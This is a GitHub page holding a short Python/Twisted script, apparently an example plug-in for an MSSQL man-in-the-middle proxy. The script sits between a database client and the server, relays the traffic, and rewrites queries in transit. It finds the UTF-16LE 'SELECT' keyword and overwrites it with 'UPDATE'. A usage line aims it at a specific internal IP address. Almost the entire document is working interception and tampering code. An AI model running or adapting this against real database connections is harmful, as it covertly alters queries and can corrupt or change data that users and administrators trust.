-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathmanipulation_example.py
More file actions
executable file
·62 lines (50 loc) · 1.68 KB
/
manipulation_example.py
File metadata and controls
executable file
·62 lines (50 loc) · 1.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# Provided under GNU General Public License v3.0
# See the accompanying LICENSE file for more information.
# Author:
# Marcin Ochab d3Fr4gM3ntaT0r
#
# inspired by:
# https://gist.github.com/thinkst/db909e3a41c5cb07d43f
#
# use with: ./mitmsqlproxy.py 192.168.123.2 -d -lcp 2434
from twisted.internet import protocol, reactor
class ExampleServerProtocol(protocol.Protocol):
def __init__(self):
self.buffer = None
self.client = None
def connectionMade(self):
factory = protocol.ClientFactory()
factory.protocol = ExampleClientProtocol
factory.server = self
reactor.connectTCP("127.0.0.1", 2433, factory)
print("new connection")
def dataReceived(self, data):
i = data.find("SELECT".encode('utf-16le'))
if i > -1:
print("FOUND: SELECT - replacing to UPDATE")
rstr = "UPDATE".encode('utf-16le')
data = data[:i] + rstr + data[i + len(rstr):]
if self.client:
self.client.write(data)
else:
self.buffer = data
def write(self, data):
self.transport.write(data)
class ExampleClientProtocol(protocol.Protocol):
def connectionMade(self):
self.factory.server.client = self
self.write(self.factory.server.buffer)
self.factory.server.buffer = ''
def dataReceived(self, data):
self.factory.server.write(data)
def write(self, data):
if data:
self.transport.write(data)
def main():
factory = protocol.ServerFactory()
factory.protocol = ExampleServerProtocol
reactor.listenTCP(2434, factory)
reactor.run()
if __name__ == '__main__':
main()